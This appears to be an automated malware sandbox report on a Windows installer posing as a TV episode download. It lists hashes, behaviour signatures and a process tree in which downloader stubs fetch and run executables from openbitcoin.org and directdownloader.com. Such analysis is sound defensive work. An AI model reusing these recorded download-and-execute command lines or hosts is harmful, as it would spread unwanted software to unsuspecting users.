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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09/10/2024, 00:53

General

  • Target

    280861742ff90df383da421dc9661500_JaffaCakes118.exe

  • Size

    492KB

  • MD5

    280861742ff90df383da421dc9661500

  • SHA1

    68cb49e21dec3bcaa2c6a07d3713871d1a72574a

  • SHA256

    1161a23a4c6662282df267d79efaf56ba2bcef57d0af5e17d3a67e8d6215e6f1

  • SHA512

    10e49fbfe0ac844dab1c7c7007381ee753f817d6168d4630f8a07d8ea052339604bcd050d3a9978498d68fae9362bd790f66f6bf83f75fdac88281d352417a5b

  • SSDEEP

    6144:iuk4fqjQoQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:Y4fw36peEUBwXVwM9vylzdYvH7AwC

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\280861742ff90df383da421dc9661500_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\280861742ff90df383da421dc9661500_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2784
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2676
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2704
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2852
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2596
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe 0 "The big bang theory s03e04-05-06 hdtv xvid divxnl-team (nl subs)" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2740
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:316
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe 1 "The big bang theory s03e04-05-06 hdtv xvid divxnl-team (nl subs)"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:712
    • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe 3 "The big bang theory s03e04-05-06 hdtv xvid divxnl-team (nl subs)"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2176

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • \Users\Admin\AppData\Local\Temp\c099c989c7f412818c36f977b14dc25d\preinstaller.exe

    Filesize

    213KB

    MD5

    06baef00ae0f0e42fc5fea24fc4eac42

    SHA1

    9161574590f09cfe4c24498827386ed57f2e8c58

    SHA256

    19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

    SHA512

    29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

  • \Users\Admin\AppData\Local\Temp\nsoF6FE.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • \Users\Admin\AppData\Local\Temp\nsy275F.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • memory/712-74-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2176-707-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2176-413-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2176-1245-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2176-3218-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2700-73-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2700-299-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2700-3428-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2740-58-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB